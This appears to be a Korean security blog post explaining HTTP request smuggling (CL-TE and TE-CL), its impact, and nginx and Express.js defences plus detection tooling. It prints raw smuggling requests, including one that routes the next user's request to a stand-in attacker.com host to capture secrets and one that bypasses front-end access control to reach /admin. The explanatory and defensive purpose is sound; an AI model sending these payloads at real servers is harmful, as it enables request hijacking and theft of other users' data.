HTTP 요청 스머글링: 프록시 간 불일치 악용

프론트엔드 프록시와 백엔드 서버가 HTTP 요청 경계를 다르게 해석하는 불일치를 이용한 HTTP Request Smuggling 공격의 원리, CL-TE·TE-CL·TE-TE 변종과 방어 방법을 다룹니다.

· 6 min read · PALDYN Team

지난 글에서 ReDoS 공격을 살펴봤다. 이번 글에서는 현대 웹 아키텍처에서 발생하는 정교한 공격인 HTTP 요청 스머글링(HTTP Request Smuggling) 을 다룬다. 이 공격은 2019년 James Kettle이 DEF CON에서 대규모로 재조명하면서 큰 주목을 받았다.

HTTP 요청 스머글링이란?

현대 웹 서비스는 대부분 프론트엔드 프록시(Nginx, CDN, 로드 밸런서)와 백엔드 서버(Node.js, Java 등)의 이중 구조를 사용한다. HTTP 요청 스머글링은 두 서버가 동일한 HTTP 요청의 경계(boundary)를 다르게 해석할 때 발생한다.

Content-Length vs Transfer-Encoding

HTTP/1.1은 요청 본문의 크기를 두 가지 방법으로 전달한다.

# Content-Length: 본문의 바이트 수
Content-Length: 13

Hello, World!

# Transfer-Encoding: 청크(chunk) 단위 전송
Transfer-Encoding: chunked

d\r\n         ← 13 (hex) 바이트 크기
Hello, World!\r\n
0\r\n         ← 마지막 청크 (크기 0)
\r\n

두 헤더가 함께 있으면 어느 것을 우선할지에 대한 해석이 서버마다 다르다.

HTTP 요청 스머글링 공격

CL-TE 공격 (Content-Length 앞, Transfer-Encoding 뒤)

프론트엔드는 Content-Length를 사용하고 백엔드는 Transfer-Encoding을 사용한다.

POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 13
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
  • 프론트엔드: Content-Length=13이므로 0\r\n\r\nGET /admin HTTP/1.1까지 (13바이트) 를 하나의 요청으로 처리
  • 백엔드: Transfer-Encoding을 따라 0 (빈 청크 = 요청 종료)에서 첫 요청을 끝내고, GET /admin HTTP/1.1다음 요청의 시작으로 처리

→ 공격자는 다음 사용자의 요청에 /admin 접근을 주입한다.

TE-CL 공격 (Transfer-Encoding 앞, Content-Length 뒤)

POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 3
Transfer-Encoding: chunked

8\r\n
SMUGGLED\r\n
0\r\n
\r\n
  • 프론트엔드: Transfer-Encoding을 따라 전체를 하나의 요청으로 처리
  • 백엔드: Content-Length=3이므로 8\r\n (3바이트)만 소비하고, SMUGGLED\r\n0\r\n\r\n을 다음 요청으로 처리

실제 영향

요청 하이재킹

# 공격 요청 — 다음 사용자의 요청을 캡처
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 130
Transfer-Encoding: chunked

0

POST /capture HTTP/1.1
Host: attacker.com
Content-Length: 1000

secret=

다음 사용자의 요청이 POST /capture 본문에 이어져 공격자 서버로 전송된다.

보안 메커니즘 우회

# 프론트엔드의 접근 제어 우회
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 13
Transfer-Encoding: chunked

0

GET /admin/users HTTP/1.1
X-Forwarded-For: 127.0.0.1

프론트엔드는 /admin 접근을 차단하지만, 스머글된 요청은 백엔드에 직접 도달한다.

방어 전략

HTTP 요청 스머글링 방어

1. HTTP/2 사용 (근본적 해결)

HTTP/2는 요청 경계가 프레임 레벨에서 명확히 정의되어 CL-TE 혼용 문제 자체가 없다.

# nginx: HTTP/2 활성화
server {
    listen 443 ssl http2;

    # 백엔드와도 HTTP/2로 통신
    location / {
        grpc_pass grpcs://backend:50051;
        # 또는 HTTP/2 upstream 사용
    }
}

2. 백엔드로 HTTP/1.1만 사용 시 — 모호한 요청 거부

# nginx: 두 헤더 동시 사용 요청 거부
server {
    # Transfer-Encoding과 Content-Length 동시 사용 거부
    if ($http_transfer_encoding ~* "chunked") {
        set $te_present 1;
    }
    if ($http_content_length) {
        set $cl_present 1;
    }
    if ($te_present$cl_present = 11) {
        return 400 "Ambiguous request";
    }
}

3. 청크 인코딩 비활성화

# nginx upstream: 청크 인코딩 비활성화
upstream backend {
    server 127.0.0.1:8080;
    keepalive 32;
}

location / {
    proxy_pass http://backend;
    proxy_http_version 1.1;
    proxy_set_header Connection "";
    # 청크 전송을 Content-Length로 변환
    chunked_transfer_encoding off;
}

4. 방어적 파싱 구현 (백엔드)

// Express.js: 요청 크기 제한 및 검증
const express = require('express')
const app = express()

// 1. 요청 크기 제한
app.use(express.json({ limit: '10kb' }))
app.use(express.urlencoded({ extended: false, limit: '10kb' }))

// 2. 모호한 Transfer-Encoding 헤더 거부
app.use((req, res, next) => {
  const te = req.headers['transfer-encoding']
  if (te && te.toLowerCase() !== 'chunked') {
    return res.status(400).send('Unsupported Transfer-Encoding')
  }
  next()
})

// 3. 연결 재사용 제한 (스머글링 방지)
const server = app.listen(8080)
server.keepAliveTimeout = 5000  // 5초
server.headersTimeout = 6000

탐지 방법

# Burp Suite의 HTTP Request Smuggler 확장으로 자동 탐지
# 또는 smuggler.py 도구 사용

python3 smuggler.py -u https://target.com/

# 수동 테스트: 두 요청을 보내고 두 번째 요청이 영향 받는지 확인

핵심 원칙

HTTP 요청 스머글링은 하나의 취약점이 아니라 서버 간 구성 불일치에서 발생한다. 가장 효과적인 방어는 HTTP/2를 사용하거나, 프론트엔드와 백엔드 사이에 HTTP 파싱 규칙을 통일하는 것이다. 두 헤더가 충돌하는 요청은 즉시 거부해야 한다.


지난 글: ReDoS: 정규표현식을 이용한 서비스 거부 공격


읽어주셔서 감사합니다. 😊